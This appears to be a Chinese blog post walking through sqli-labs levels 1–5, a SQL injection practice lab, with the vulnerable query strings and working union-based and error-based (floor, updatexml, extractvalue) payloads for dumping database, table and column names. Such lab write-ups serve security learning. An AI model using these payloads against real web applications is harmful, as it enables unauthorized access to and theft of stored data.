欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

sqli-labs闯关1—5(复习hhhh)

程序员文章站 2022-05-15 14:06:22
...

参考:http://www.secist.com/archives/4880.html

#SQL注入简介
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(百度百科)
####补充知识

  1. MySql常用注释方法:/ #(即%23) – /…/ --+
  2. 验证有多少列:用order by 判断字段数,当输入id=1’ order by 4 – #时页面回显错误,说明有3个字段;
  3. 接下来查询数据库中有哪些库
  • information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表
  • SCHEMATA表
    储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。
  • TABLES表
    储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表
  • COLUMNS表
    提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。

#第一关——基于错误的GET单引号字符型注入

select * from tableName limit i,n

  • tableName:表名
  • i:为查询结果的索引值(默认从0开始),当i=0时可省略i
  • n:为查询结果返回的数量
  • i与n之间使用英文逗号","隔开
    ####**数据
    id=1’ union select 1,group_concat(schema_name),3 from information_schema.schemata – #(爆数据库名)

id=123’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() – #(爆数据表名)

id=123’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ – #(爆字段)

#第二关——GET – Error based – Intiger based (基于错误的GET整型注入)

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

sqli-labs闯关1—5(复习hhhh)
#第三关——基于错误的GET单引号变形字符型注入
sqli-labs闯关1—5(复习hhhh)
得出

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

sqli-labs闯关1—5(复习hhhh)

#第四关——基于错误的GET双引号字符型注入

sqli-labs闯关1—5(复习hhhh)
确定

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

sqli-labs闯关1—5(复习hhhh)
#第五关——双注入GET单引号字符型注入

双查询注入[图片上传中…(image-d0f59c-1584598160503)]

当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

  1. Rand() //随机函数
  2. Floor() //取整函数
  3. Count() //汇总函数
  4. Group by clause //分组语句

sqli-labs闯关1—5(复习hhhh)

常见的报错注入

  1. 通过floor报错
    and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
    其中payload为你要插入的SQL语句
    需要注意的是该语句将 输出字符长度限制为64个字符
  1. 通过updatexml报错
    and updatexml(1,payload,1)
    同样该语句对输出的字符长度也做了限制,其最长输出32位
    并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

3.(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。

相关标签: ctf-web刷题之旅